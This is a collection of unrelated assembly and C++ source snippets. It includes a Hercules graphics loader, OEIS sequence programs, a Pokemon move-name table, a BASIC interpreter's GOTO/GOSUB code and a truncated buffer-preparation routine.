L_HGC_L_TEXT_X = (HGC_CHAR_WIDTH - size loaderLoadingText) / 2
L_HGC_L_TEXT_Y = (HGC_CHAR_HEIGHT / 2) - 3
L_HGC_C_TEXT_X = ((HGC_CHAR_WIDTH - size loaderCopyrightText) / 2)
L_HGC_C_TEXT_Y = HGC_CHAR_HEIGHT - 1
;----------------------------------------------------------------------------
;from Dumb/HGC/hgcConstant.def
;----------------------------------------------------------------------------
;Screen size constants
PHYSICAL_SCREEN_WIDTH = 10 ; width in inches of typical display
PHYSICAL_SCREEN_HEIGHT = 7 ; width in inches of typical display
SCREEN_PIXEL_WIDTH = 720 ; width of screen, pixels
SCREEN_BYTE_WIDTH = 90 ; width of screen, bytes
SCREEN_HEIGHT = 348 ; height of screen, scan lines
;Video buffer constants
HGC_SCREEN_BUFFER = 0b000h ; HGC video buffer segment addr
SCREEN_BANK_OFFSET = 2000h
NUM_SCREEN_BANKS = 4
;BANK_SIZE = SCREEN_BYTE_WIDTH * SCREEN_HEIGHT / NUM_SCREEN_BANKS
;LAST_BANK = (NUM_SCREEN_BANKS-1)*SCREEN_BANK_OFFSET
;ALT_SCREEN_BUFFER = SCREEN_BUFFER + ((LAST_BANK + BANK_SIZE + 15) / 16)
;SAVE_AREA_SIZE = (0c000h - ALT_SCREEN_BUFFER) * 16
;HGC Registers
;See page 33 of "PC and PS|2 Video Systems"
HGC_MODE = 3b8h ;Mode Control register
MODE_720_348 = 00000010b ;720 x 348 mode
MODE_VIDEO_ON = 00001000b ;Video display enabled
MODE_TEXT = 00000000b ;80x25 text
HGC_ENABLE_VIDEO = MODE_720_348 or MODE_VIDEO_ON
HGC_DISABLE_VIDEO = MODE_720_348
HGC_CONFIG = 3bfh ;Configuration Switch Register
CONFIG_ALLOW_GR = 00000001b ;Bit set to allow graphics
CONFIG_ENABLE_64K = 00000010b ;Bit set to use 64K of buffer
CONFIG_TEXT = 00000000b ;No graphics, 32K only
;BIOD Data area
BIOS_DATA_SEGMENT = 40h ; BIOS data is at 40:49h
BIOS_DATA_OFFSET = 49h
;----------------------------------------------------------------------------
;from VidCom/vidcomConstant.def:
;----------------------------------------------------------------------------
CRTC_ADDRESS = 3b4h ; Address register
COMMENT @----------------------------------------------------------------------
FUNCTION: LoaderDisplayHGC
DESCRIPTION: Switch to this video mode, and display the splash screen.
CALLED BY: LoaderDisplaySplashScreen
PASS: ds, es = loader segment
RETURN: carry set if error
DESTROYED: ax, bx, cx, dx, si, di, bp
IMPORTANT: this routine is not permitted to FatalError after
changing the video mode, because LoaderError will not know that
it must restore the text video mode (since KLV_curSimpleGraphicsMode
has not been set yet).
REVISION HISTORY:
Name Date Description
---- ---- -----------
Eric/Chung 3/93 Initial version
------------------------------------------------------------------------------@
LoaderDisplayHGC proc near
;before disabling the screen, do we need to do these? (They are right
;now a part of the LoaderSetHGC routine.)
;
; ; Update video BIOS with reasonable values
;push es!
; mov ax,BIOS_DATA_SEGMENT ; BIOS data area
; mov es,ax
; mov di,BIOS_DATA_OFFSET
;
;set ds, save it first
; mov si,offset loaderHGCBIOSData
; mov cx,BIOS_DATA_LENGTH
; rep movsb
;
; ; Set configuration switch
;
; mov dx,HGC_CONFIG ;Allow graphics mode
; mov al,CONFIG_ALLOW_GR or CONFIG_ENABLE_64K
; out dx,al
;Disable this screen, so the user doesn't have to watch us draw
;(Can't do this before setting the video mode.)
; (from Dumb/HGC/hgcAdmin.asm::VidScreenOff)
mov dx, HGC_MODE ; HGC control port
;this would set the video mode to be 720x348 prematurely
; mov al, HGC_DISABLE_VIDEO ; no video, no block
mov al, 0 ; no video, no mode, no block
out dx, al ; kill it
;set the video mode for the HGC card
; (from Dumb/HGC/hgcAdmin.asm::VidSetHGC)
call LoaderSetHGC
;draw the background color
call LoaderGetTextBackgroundColor ;ax = background color (0-15)
push ax
mov ax, LOADER_DEFAULT_GRAPHIC_BACKGROUND_COLOR
call LoaderClearHGC
;draw the border
call LoaderGetBorderType ;returns ax = LoaderBorderType
call LoaderDisplayHGCBorder
pop ax
;draw the text (NOT video mode specific)
call LoaderGetTextColor ;ah = text color, al = same (bg color)
mov cx, HGC_CHAR_WIDTH
mov dx, HGC_CHAR_HEIGHT
call LoaderDisplayTextMessage
;PrintMessage <LoaderDisplayHGC: May already be on>
;enable video signal on card
; (from Dumb/HGC/hgcAdmin.asm::VidScreenOn)
mov dx, HGC_MODE ;Enable graphics mode
mov al, MODE_720_348 or MODE_VIDEO_ON
;(Same as HGC_ENABLE_VIDEO constant)
out dx,al
ifdef INCLUDE_HGC_IMAGE
;draw the bitmap, if we should
call LoaderDisplayBitmapLogo
ifndef NO_LEGAL_IMAGE
call LoaderDisplayBitmapLegal
endif
endif
;indicate we were successful
clc
ret
LoaderDisplayHGC endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
LoaderSetHGC
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Initialize the graphics mode for the Hercules card
CALLED BY: INTERNAL
LoaderSetHGC
PASS: ds, es = loader segment
RETURN: nothing
DESTROYED: ax, bx, cx, dx, si, di, bp
PSEUDO CODE/STRATEGY:
program the CRT controller to do the right thing
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 10/88 Initial version
Jim 03/90 Initial version
Eric 3/93 Stolen from video driver
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
loaderHGCBIOSData label byte
db 7 ; CRT Mode
dw 80 ; CRT Columns
dw 8000h ; CRT Length
dw 0 ; CRT Start
dw 8 dup (0) ; Cursor position
dw 0 ; Cursor mode
db 0 ; Active Page
dw CRTC_ADDRESS ; CRT Controller Address
db 0ah ; CRT Mode Set
db 0 ; CRT Palette (unused)
loaderHGCEndBIOSData label byte
BIOS_DATA_LENGTH = loaderHGCEndBIOSData - loaderHGCBIOSData
loaderHGC_CRTCParams label word
db 35h ; CRTC_REG_HORIZ_TOTAL
db 2dh ; CRTC_REG_HORIZ_DISPLAYED
db 2eh ; CRTC_REG_HORIZ_SYNC_POS
db 07h ; CRTC_REG_HORIZ_SYNC_WIDTH
db 5bh ; CRTC_REG_VERT_TOTAL
db 02h ; CRTC_REG_VERT_ADJUST
db 57h ; CRTC_REG_VERT_DISPLAYED
db 57h ; CRTC_REG_VERT_SYNC_POS
db 02h ; CRTC_REG_INTERLACE_MODE
db 03h ; CRTC_REG_MAX_SCAN_LINE
;disabled in the HGC video driver code also:
; db 00h ; CRTC_REG_CURSOR_START
; db 00h ; CRTC_REG_CURSOR_END
loaderHGC_EndCRTCParams label word
CRTC_PARAMS_LENGTH = loaderHGC_EndCRTCParams - loaderHGC_CRTCParams
LoaderSetHGC proc near
uses ds, es
.enter
mov ax, cs
mov ds, ax
; Update video BIOS with reasonable values
mov ax,BIOS_DATA_SEGMENT ; BIOS data area
mov es,ax
mov di,BIOS_DATA_OFFSET
mov si,offset loaderHGCBIOSData
mov cx,BIOS_DATA_LENGTH
rep movsb
; Set configuration switch
mov dx,HGC_CONFIG ;Allow graphics mode
mov al,CONFIG_ALLOW_GR or CONFIG_ENABLE_64K
out dx,al
;moved to LoaderDisplayHGC
; ; Blank screen to avoid interference during initialization
;
; mov dx, HGC_MODE
; clr ax
; out dx,al
; Program the CRT Controller
clr ax
mov dx,CRTC_ADDRESS
mov si,offset loaderHGC_CRTCParams
mov cx,CRTC_PARAMS_LENGTH
VI_configLoop:
mov al,ah ;output address
out dx,al
inc dx
lodsb
out dx,al
dec dx
inc ah
loop VI_configLoop
; Set graphics mode
mov dx, HGC_MODE ;Enable graphics mode
;Ack! it seems like this will turn the video signal back on, prematurely.
; mov al,MODE_720_348 or MODE_VIDEO_ON
mov al,MODE_720_348
out dx,al
;moved to LoaderDisplayHGC
; ; Clear screen
;
; mov ax, SCREEN_BUFFER
; mov es, ax
; mov cx, 8000h / 2
; clr ax
; clr di
; rep stosw
.leave
ret
LoaderSetHGC endp
COMMENT @----------------------------------------------------------------------
FUNCTION: LoaderClearHGC
DESCRIPTION: Clear this type of display to the background color.
Set the background to gray (actually, since HGC is 2-color,
set the background to white.)
CALLED BY: LoaderDisplayHGC
PASS: ds, es = loader segment
RETURN: ax = color
DESTROYED: ax, bx, cx, dx, si, di, bp
REVISION HISTORY:
Name Date Description
---- ---- -----------
Eric/Chung 3/93 Initial version
------------------------------------------------------------------------------@
LoaderClearHGC proc near
uses es
.enter
mov di, HGC_SCREEN_BUFFER
mov es, di
mov di, HERC_START_OFFSET
mov cx, HERC_BUF_LENGTH
mov al, ah ;al = 0, 0xFF, or 0x55 (B&W color value)
rep stosb
if 0
10$:
blast one line
xor al, 0xff
blast one line
xor al, 0xf
loop 10$
endif
.leave
ret
LoaderClearHGC endp
COMMENT @----------------------------------------------------------------------
FUNCTION: LoaderDisplayHGCBorder
DESCRIPTION: Display the border on this type of screen.
CALLED BY: LoaderDisplayHGC
PASS: ds, es = loader segment
RETURN: ax = LoaderBorderType
DESTROYED: ax, bx, cx, dx, si, di, bp
REVISION HISTORY:
Name Date Description
---- ---- -----------
Eric/Chung 3/93 Initial version
------------------------------------------------------------------------------@
LoaderDisplayHGCBorder proc near
uses es
.enter
cmp ax, LBT_NONE
je done ;skip if none...
done:
.leave
ret
LoaderDisplayHGCBorder endp
|
SECTION rodata_font
SECTION rodata_font_fzx
PUBLIC _ff_ao_Lettera
_ff_ao_Lettera:
BINARY "font/fzx/fonts/ao/Lettera/Lettera.fzx"
|
// Copyright Carl Philipp Reh 2006 - 2019.
// Distributed under the Boost Software License, Version 1.0.
// (See accompanying file LICENSE_1_0.txt or copy at
// http://www.boost.org/LICENSE_1_0.txt)
#ifndef SGE_OPENGL_WGL_CONTEXT_HOLDER_HPP_INCLUDED
#define SGE_OPENGL_WGL_CONTEXT_HOLDER_HPP_INCLUDED
#include <sge/opengl/wgl/context_holder_fwd.hpp>
#include <sge/opengl/windows/gdi_device_fwd.hpp>
#include <awl/backends/windows/windows.hpp>
#include <fcppt/noncopyable.hpp>
namespace sge
{
namespace opengl
{
namespace wgl
{
class context_holder
{
FCPPT_NONCOPYABLE(context_holder);
public:
explicit context_holder(sge::opengl::windows::gdi_device const &);
~context_holder();
HGLRC
get() const;
private:
HGLRC const glrc_;
};
}
}
}
#endif
|
// -i qual_params.in qual_params.hh --
namespace NS {
template <typename T>
struct A{
void foo();
};
}
namespace NS {
template <typename T>
struct B {
typedef A<T> A1;
using A2 = A<T>;
A1& foo(A<T>, A<T>*&, const A1&, A2);
};
}
|
; A105225: a(n+3) = 2a(n+2) - 3a(n+1) + 2a(n); a(0) = 1, a(1) = -1, a(2) = -2.
; 1,-1,-2,1,6,5,-6,-15,-2,29,34,-23,-90,-43,138,225,-50,-499,-398,601,1398,197,-2598,-2991,2206,8189,3778,-12599,-20154,5045,45354,35265,-55442,-125971,-15086,236857,267030,-206683,-740742,-327375,1154110,1808861,-499358,-4117079,-3118362,5115797
mov $1,4
mov $2,$0
mov $0,1
lpb $2
sub $0,$1
add $1,$0
mul $1,2
sub $2,1
lpe
sub $0,1
div $0,2
add $0,1
|
TITLE Transputer Call and Return
PAGE 60,132
.T800
MemStart EQU 0x80000070
ORG MemStart - 1
DB STOP - START
ORG MemStart
START:
call FUNC - L1
L1:
FIN:
stopp
FUNC:
ret
db 0x55, 0xaa, 0x55, 0xaa, 0x55, 0xaa, 0x55, 0xaa
db 0x55, 0xaa, 0x55, 0xaa, 0x55, 0xaa, 0x55, 0xaa
db 0x55, 0xaa, 0x55, 0xaa, 0x55, 0xaa, 0x55, 0xaa
db 0x55, 0xaa, 0x55, 0xaa, 0x55, 0xaa, 0x55, 0xaa
STOP:
END
; WPtr is set to #80000079 after this boots. But the call overwrites this code! |
; A173184: Partial sums of A000166.
; 1,1,2,4,13,57,322,2176,17009,150505,1485466,16170036,192384877,2483177809,34554278858,515620794592,8212685046337,139062777326001,2494364438359954,47245095998005060,942259727190907181
mov $2,$0
mov $3,$0
add $3,1
lpb $3
mov $0,$2
sub $3,1
sub $0,$3
seq $0,166 ; Subfactorial or rencontres numbers, or derangements: number of permutations of n elements with no fixed points.
add $1,$0
lpe
mov $0,$1
|
; DRAW ATTR ONLY SPRITE (NO PIXELS)
; 04.2006 aralbrec, Sprite Pack v3.0
; sinclair spectrum version
SECTION code_clib
SECTION code_temp_sp1
PUBLIC _SP1_DRAW_ATTR
EXTERN SP1RETSPRDRAW
; following data segment copied into struct sp1_cs
ld hl,0
nop
ld de,0
call SP1RETSPRDRAW
_SP1_DRAW_ATTR:
; yes that's it
|
MoveNames::
db "POUND@"
db "KARATE CHOP@"
db "DOUBLESLAP@"
db "COMET PUNCH@"
db "MEGA PUNCH@"
db "PAY DAY@"
db "FIRE PUNCH@"
db "ICE PUNCH@"
db "THUNDERPUNCH@"
db "SCRATCH@"
db "VICEGRIP@"
db "GUILLOTINE@"
db "RAZOR WIND@"
db "SWORDS DANCE@"
db "CUT@"
db "GUST@"
db "WING ATTACK@"
db "WHIRLWIND@"
db "FLY@"
db "BIND@"
db "SLAM@"
db "VINE WHIP@"
db "STOMP@"
db "DOUBLE KICK@"
db "MEGA KICK@"
db "JUMP KICK@"
db "ROLLING KICK@"
db "SAND-ATTACK@"
db "HEADBUTT@"
db "HORN ATTACK@"
db "FURY ATTACK@"
db "HORN DRILL@"
db "TACKLE@"
db "BODY SLAM@"
db "WRAP@"
db "TAKE DOWN@"
db "THRASH@"
db "DOUBLE-EDGE@"
db "TAIL WHIP@"
db "POISON STING@"
db "TWINEEDLE@"
db "PIN MISSILE@"
db "LEER@"
db "BITE@"
db "GROWL@"
db "ROAR@"
db "SING@"
db "SUPERSONIC@"
db "SONICBOOM@"
db "DISABLE@"
db "ACID@"
db "EMBER@"
db "FLAMETHROWER@"
db "MIST@"
db "WATER GUN@"
db "HYDRO PUMP@"
db "SURF@"
db "ICE BEAM@"
db "BLIZZARD@"
db "PSYBEAM@"
db "BUBBLEBEAM@"
db "AURORA BEAM@"
db "HYPER BEAM@"
db "PECK@"
db "DRILL PECK@"
db "SUBMISSION@"
db "LOW KICK@"
db "COUNTER@"
db "SEISMIC TOSS@"
db "STRENGTH@"
db "ABSORB@"
db "MEGA DRAIN@"
db "LEECH SEED@"
db "GROWTH@"
db "RAZOR LEAF@"
db "SOLARBEAM@"
db "POISONPOWDER@"
db "STUN SPORE@"
db "SLEEP POWDER@"
db "PETAL DANCE@"
db "STRING SHOT@"
db "DRAGON RAGE@"
db "FIRE SPIN@"
db "THUNDERSHOCK@"
db "THUNDERBOLT@"
db "THUNDER WAVE@"
db "THUNDER@"
db "ROCK THROW@"
db "EARTHQUAKE@"
db "FISSURE@"
db "DIG@"
db "TOXIC@"
db "CONFUSION@"
db "PSYCHIC@"
db "HYPNOSIS@"
db "MEDITATE@"
db "AGILITY@"
db "QUICK ATTACK@"
db "RAGE@"
db "TELEPORT@"
db "NIGHT SHADE@"
db "MIMIC@"
db "SCREECH@"
db "DOUBLE TEAM@"
db "RECOVER@"
db "HARDEN@"
db "MINIMIZE@"
db "SMOKESCREEN@"
db "CONFUSE RAY@"
db "WITHDRAW@"
db "DEFENSE CURL@"
db "BARRIER@"
db "LIGHT SCREEN@"
db "HAZE@"
db "REFLECT@"
db "FOCUS ENERGY@"
db "BIDE@"
db "METRONOME@"
db "MIRROR MOVE@"
db "SELFDESTRUCT@"
db "EGG BOMB@"
db "LICK@"
db "SMOG@"
db "SLUDGE@"
db "BONE CLUB@"
db "FIRE BLAST@"
db "WATERFALL@"
db "CLAMP@"
db "SWIFT@"
db "SKULL BASH@"
db "SPIKE CANNON@"
db "CONSTRICT@"
db "AMNESIA@"
db "KINESIS@"
db "SOFTBOILED@"
db "HI JUMP KICK@"
db "GLARE@"
db "DREAM EATER@"
db "POISON GAS@"
db "BARRAGE@"
db "LEECH LIFE@"
db "LOVELY KISS@"
db "SKY ATTACK@"
db "TRANSFORM@"
db "BUBBLE@"
db "DIZZY PUNCH@"
db "SPORE@"
db "FLASH@"
db "PSYWAVE@"
db "SPLASH@"
db "ACID ARMOR@"
db "CRABHAMMER@"
db "EXPLOSION@"
db "FURY SWIPES@"
db "BONEMERANG@"
db "REST@"
db "ROCK SLIDE@"
db "HYPER FANG@"
db "SHARPEN@"
db "CONVERSION@"
db "TRI ATTACK@"
db "SUPER FANG@"
db "SLASH@"
db "SUBSTITUTE@"
db "STRUGGLE@"
db "SKETCH@"
db "TRIPLE KICK@"
db "THIEF@"
db "SPIDER WEB@"
db "MIND READER@"
db "NIGHTMARE@"
db "FLAME WHEEL@"
db "SNORE@"
db "CURSE@"
db "FLAIL@"
db "CONVERSION2@"
db "AEROBLAST@"
db "COTTON SPORE@"
db "REVERSAL@"
db "SPITE@"
db "POWDER SNOW@"
db "PROTECT@"
db "MACH PUNCH@"
db "SCARY FACE@"
db "FAINT ATTACK@"
db "SWEET KISS@"
db "BELLY DRUM@"
db "SLUDGE BOMB@"
db "MUD-SLAP@"
db "OCTAZOOKA@"
db "SPIKES@"
db "ZAP CANNON@"
db "FORESIGHT@"
db "DESTINY BOND@"
db "PERISH SONG@"
db "ICY WIND@"
db "DETECT@"
db "BONE RUSH@"
db "LOCK-ON@"
db "OUTRAGE@"
db "SANDSTORM@"
db "GIGA DRAIN@"
db "ENDURE@"
db "CHARM@"
db "ROLLOUT@"
db "FALSE SWIPE@"
db "SWAGGER@"
db "MILK DRINK@"
db "SPARK@"
db "FURY CUTTER@"
db "STEEL WING@"
db "MEAN LOOK@"
db "ATTRACT@"
db "SLEEP TALK@"
db "HEAL BELL@"
db "RETURN@"
db "PRESENT@"
db "FRUSTRATION@"
db "SAFEGUARD@"
db "PAIN SPLIT@"
db "SACRED FIRE@"
db "MAGNITUDE@"
db "DYNAMICPUNCH@"
db "MEGAHORN@"
db "DRAGONBREATH@"
db "BATON PASS@"
db "ENCORE@"
db "PURSUIT@"
db "RAPID SPIN@"
db "SWEET SCENT@"
db "IRON TAIL@"
db "METAL CLAW@"
db "VITAL THROW@"
db "MORNING SUN@"
db "SYNTHESIS@"
db "MOONLIGHT@"
db "HIDDEN POWER@"
db "CROSS CHOP@"
db "TWISTER@"
db "RAIN DANCE@"
db "SUNNY DAY@"
db "CRUNCH@"
db "MIRROR COAT@"
db "PSYCH UP@"
db "EXTREMESPEED@"
db "ANCIENTPOWER@"
db "SHADOW BALL@"
db "FUTURE SIGHT@"
db "ROCK SMASH@"
db "WHIRLPOOL@"
db "BEAT UP@"
db "FAKE OUT@"
db "UPROAR@"
db "STOCKPILE@"
db "SPIT UP@"
db "SWALLOW@"
db "HEAT WAVE@"
db "HAIL@"
db "TORMENT@"
db "FLATTER@"
db "WILL-O-WISP@"
db "MEMENTO@"
db "FACADE@"
db "FOCUS PUNCH@"
db "SMELLINGSALT@"
db "FOLLOW ME@"
db "NATURE POWER@"
db "CHARGE@"
db "TAUNT@"
db "HELPING HAND@"
db "TRICK@"
db "ROLE PLAY@"
db "WISH@"
db "ASSIST@"
db "INGRAIN@"
db "SUPERPOWER@"
db "MAGIC COAT@"
db "RECYCLE@"
db "REVENGE@"
db "BRICK BREAK@"
db "YAWN@"
db "KNOCK OFF@"
db "ENDEAVOR@"
db "ERUPTION@"
db "SKILL SWAP@"
db "IMPRISON@"
db "REFRESH@"
db "GRUDGE@"
db "SNATCH@"
db "SECRET POWER@"
db "DIVE@"
db "ARM THRUST@"
db "CAMOUFLAGE@"
db "TAIL GLOW@"
db "LUSTER PURGE@"
db "MIST BALL@"
db "FEATHERDANCE@"
db "TEETER DANCE@"
db "BLAZE KICK@"
db "MUD SPORT@"
db "ICE BALL@"
db "NEEDLE ARM@"
db "SLACK OFF@"
db "HYPER VOICE@"
db "POISON FANG@"
db "CRUSH CLAW@"
db "BLAST BURN@"
db "HYDRO CANNON@"
db "METEOR MASH@"
db "ASTONISH@"
db "WEATHER BALL@"
db "AROMATHERAPY@"
db "FAKE TEARS@"
db "AIR CUTTER@"
db "OVERHEAT@"
db "ODOR SLEUTH@"
db "ROCK TOMB@"
db "SILVER WIND@"
db "METAL SOUND@"
db "GRASSWHISTLE@"
db "TICKLE@"
db "COSMIC POWER@"
db "WATER SPOUT@"
db "SIGNAL BEAM@"
db "SHADOW PUNCH@"
db "EXTRASENSORY@"
db "SKY UPPERCUT@"
db "SAND TOMB@"
db "SHEER COLD@"
db "MUDDY WATER@"
db "BULLET SEED@"
db "AERIAL ACE@"
db "ICICLE SPEAR@"
db "IRON DEFENSE@"
db "BLOCK@"
db "HOWL@"
db "DRAGON CLAW@"
db "FRENZY PLANT@"
db "BULK UP@"
db "BOUNCE@"
db "MUD SHOT@"
db "POISON TAIL@"
db "COVET@"
db "VOLT TACKLE@"
db "MAGICAL LEAF@"
db "WATER SPORT@"
db "CALM MIND@"
db "LEAF BLADE@"
db "DRAGON DANCE@"
db "ROCK BLAST@"
db "SHOCK WAVE@"
db "WATER PULSE@"
db "DOOM DESIRE@"
db "PSYCHO BOOST@"
db "ROOST@"
db "GRAVITY@"
db "MIRACLE EYE@"
db "WAKE-UP SLAP@"
db "HAMMER ARM@"
db "GYRO BALL@"
db "HEALING WISH@"
db "BRINE@"
db "NATURAL GIFT@"
db "FEINT@"
db "PLUCK@"
db "TAILWIND@"
db "ACUPRESSURE@"
db "METAL BURST@"
db "U-TURN@"
db "CLOSE COMBAT@"
db "PAYBACK@"
db "ASSURANCE@"
db "EMBARGO@"
db "FLING@"
db "PSYCHO SHIFT@"
db "TRUMP CARD@"
db "HEAL BLOCK@"
db "WRING OUT@"
db "POWER TRICK@"
db "GASTRO ACID@"
db "LUCKY CHANT@"
db "ME FIRST@"
db "COPYCAT@"
db "POWER SWAP@"
db "GUARD SWAP@"
db "PUNISHMENT@"
db "LAST RESORT@"
db "WORRY SEED@"
db "SUCKER PUNCH@"
db "TOXIC SPIKES@"
db "HEART SWAP@"
db "AQUA RING@"
db "MAGNET RISE@"
db "FLARE BLITZ@"
db "FORCE PALM@"
db "AURA SPHERE@"
db "ROCK POLISH@"
db "POISON JAB@"
db "DARK PULSE@"
db "NIGHT SLASH@"
db "AQUA TAIL@"
db "SEED BOMB@"
db "AIR SLASH@"
db "X-SCISSOR@"
db "BUG BUZZ@"
db "DRAGON PULSE@"
db "DRAGON RUSH@"
db "POWER GEM@"
db "DRAIN PUNCH@"
db "VACUUM WAVE@"
db "FOCUS BLAST@"
db "ENERGY BALL@"
db "BRAVE BIRD@"
db "EARTH POWER@"
db "SWITCHEROO@"
db "GIGA IMPACT@"
db "NASTY PLOT@"
db "BULLET PUNCH@"
db "AVALANCHE@"
db "ICE SHARD@"
db "SHADOW CLAW@"
db "THUNDER FANG@"
db "ICE FANG@"
db "FIRE FANG@"
db "SHADOW SNEAK@"
db "MUD BOMB@"
db "PSYCHO CUT@"
db "ZEN HEADBUTT@"
db "MIRROR SHOT@"
db "FLASH CANNON@"
db "ROCK CLIMB@"
db "DEFOG@"
db "TRICK ROOM@"
db "DRACO METEOR@"
db "DISCHARGE@"
db "LAVA PLUME@"
db "LEAF STORM@"
db "POWER WHIP@"
db "ROCK WRECKER@"
db "CROSS POISON@"
db "GUNK SHOT@"
db "IRON HEAD@"
db "MAGNET BOMB@"
db "STONE EDGE@"
db "CAPTIVATE@"
db "STEALTH ROCK@"
db "GRASS KNOT@"
db "CHATTER@"
db "JUDGMENT@"
db "BUG BITE@"
db "CHARGE BEAM@"
db "WOOD HAMMER@"
db "AQUA JET@"
db "ATTACK ORDER@"
db "DEFEND ORDER@"
db "HEAL ORDER@"
db "HEAD SMASH@"
db "DOUBLE HIT@"
db "ROAR OF TIME@"
db "SPACIAL REND@"
db "LUNAR DANCE@"
db "CRUSH GRIP@"
db "MAGMA STORM@"
db "DARK VOID@"
db "SEED FLARE@"
db "OMINOUS WIND@"
db "SHADOW FORCE@"
|
; A101402: a(0)=0, a(1)=1; for n>=2, let k = smallest power of 2 that is >= n, then a(n) = a(k/2) + a(n-1-k/2).
; 0,1,1,1,2,2,3,3,3,3,4,4,4,5,5,6,6,6,7,7,7,8,8,9,9,9,9,10,10,10,11,11,12,12,13,13,13,14,14,15,15,15,15,16,16,16,17,17,18,18,18,19,19,19,20,20,21,21,21,21,22,22,22,23,23,23,24,24,24,25,25,26,26,26,26,27,27,27,28,28,29,29,29,30,30,30,31,31,32,32,32,32,33,33,33,34,34,35,35,36
mov $3,$0
mov $4,$0
lpb $3
mov $0,$4
sub $3,1
sub $0,$3
lpb $0
sub $0,2
mov $2,$0
max $2,0
seq $2,92323 ; 2^m - 1 appears 2^m times.
sub $0,$2
lpe
add $1,$0
lpe
mov $0,$1
|
; *******************************************************************************************
; *******************************************************************************************
;
; Name : branch.asm
; Purpose : GOTO, GOSUB, Return.
; Date : 28th August 2019
; Review : 1st September 2019
; Author : Paul Robson (paul@robsons.org.uk)
;
; *******************************************************************************************
; *******************************************************************************************
Command_GOTO: ;; GOTO
jsr GotoGetLineNumber ; get line number
CmdGOTO:
ldx #0 ; go to that line number
jmp GotoChangeToLineNumberX
Command_GOSUB: ;; GOSUB
jsr GotoGetLineNumber ; get line number
CmdGOSUB:
jsr StackSavePosition ; save position on stack and push frame
lda #(SMark_Gosub << 4)+SourcePosSize
jsr StackPushFrame
ldx #0 ; go to that line number
jmp GotoChangeToLineNumberX
Command_RETURN: ;; RETURN
lda #(SMark_Gosub << 4) ; pop frame
jsr StackPopFrame
jsr StackRestorePosition ; restore position.
rts
; *******************************************************************************************
;
; On GOTO/GOSUB
;
; *******************************************************************************************
Command_ON: ;; ON
ldx #0 ; get the ON value into mantissa.0
jsr SLIByteParameter
lda XS_Mantissa+0 ; get the count
beq _CONFail ; can't be zero, error if it is.
tax ; save in X.
;
#s_get ; get and push next token
#s_next
pha ; so we can check what we're doing later.
;
cmp #token_GOTO ; must be GOTO or GOSUB
beq _CONOkayToken
cmp #token_GOSUB
beq _CONOkayToken
jmp SyntaxError
;
_CONOkayToken:
phx ; count on top, GOTO/GOSUB token 2nd.
_CONFindNumber:
jsr GotoGetLineNumber ; get a line number.
plx ; restore count
dex ; decrement, exit if zero.
beq _CONFound
phx ; push back
jsr CheckNextComma ; check for comma
bra _CONFindNumber ; go round again.
;
;
_CONFound:
pla ; get token to decide what to do
cmp #token_GOTO ; if GOTO
beq CmdGOTO ; then just branch.
jsr SkipEndOfCommand ; go to end of command
bra CmdGOSUB ; and do a GOSUB.
_CONFail:
jmp BadParamError
; *******************************************************************************************
;
; Get line number in lowest mantissa element
;
; *******************************************************************************************
GotoGetLineNumber:
jsr EvaluateInteger ; get integer into mantissa.0
lda XS_Mantissa+2 ; check range
ora XS_Mantissa+3 ; check it is 0-32767
bne _GLINError
rts
_GLINError:
#Fatal "Bad Line Number"
; *******************************************************************************************
;
; Transfer to line number in mantissa element X
; (no I'm not going to optimise it)
;
; *******************************************************************************************
GotoChangeToLineNumberX:
lda XS_Mantissa+0,x ; check line number not zero
ora XS_Mantissa+1,x
beq _GCTLFail ; if so, no can do.
;
#s_toStart BasicProgram ; back to start of program
_GCTLLoop:
#s_startLine ; check offset = 0, if so fail as end of program
#s_get ; so get the offset and check it
cmp #0
beq _GCTLFail
;
#s_next ; compare LSB
#s_get
cmp XS_Mantissa+0,x
bne _GCTLNext
;
#s_next ; compare MSB
#s_get
cmp XS_Mantissa+1,x
beq _GCTLExit
;
; Go to next line, searching for the line number.
;
_GCTLNext:
#s_nextLine ; try next line.
bra _GCTLLoop ; try next line.
_GCTLExit:
#s_next ; point to first token on new line.
rts
_GCTLFail:
#Fatal "Bad Line Number"
|
; A250212: Second partial sums of seventh powers (A001015).
; 1,130,2446,21146,117971,494732,1695036,4992492,13072917,31153342,68720938,142120342,278268263,519829688,932250488,1613106744,2704301673,4407716634,7005003334,10882290034,16560665275,24733398404,36310956980,52474986980,74742532605,105041888406,145801597410,200054234926,271556748751,364929262576,485814390512,641059256816,838922566097,1089309225522,1404035181822,1797125302218,2285147299747,2887584879868,3627253466668,4530762053468,5629024914149,6957827108078,8558447913114,10478346527814
add $0,1
lpb $0
mov $2,$0
sub $0,1
seq $2,541 ; Sum of 7th powers: 1^7 + 2^7 + ... + n^7.
add $1,$2
lpe
mov $0,$1
|
; Small C+ Z88 Support Library
;
; Convert signed int to long
XLIB l_int2long_s
; If MSB of h sets de to 255, if not sets de=0
.l_int2long_s
ld de,0
bit 7,h
ret z
dec de
ret
|
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r14
push %rax
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0x925e, %rax
nop
cmp $13299, %r14
movl $0x61626364, (%rax)
nop
nop
nop
nop
xor %rsi, %rsi
lea addresses_D_ht+0x6b7e, %r14
nop
nop
and $50347, %r12
mov $0x6162636465666768, %rdx
movq %rdx, (%r14)
nop
nop
sub %rbx, %rbx
lea addresses_A_ht+0x1b25e, %rsi
lea addresses_WC_ht+0xddde, %rdi
nop
add %r14, %r14
mov $13, %rcx
rep movsq
nop
nop
nop
nop
xor %rdi, %rdi
lea addresses_normal_ht+0x15a5e, %rdx
nop
nop
nop
nop
xor %rdi, %rdi
mov $0x6162636465666768, %r14
movq %r14, (%rdx)
nop
nop
add $34866, %rbx
lea addresses_WC_ht+0x1c844, %rdi
nop
nop
nop
nop
nop
sub %rdx, %rdx
mov $0x6162636465666768, %rsi
movq %rsi, (%rdi)
nop
nop
nop
nop
lfence
lea addresses_D_ht+0x1a5e, %rsi
lea addresses_normal_ht+0x1d81e, %rdi
and %rdx, %rdx
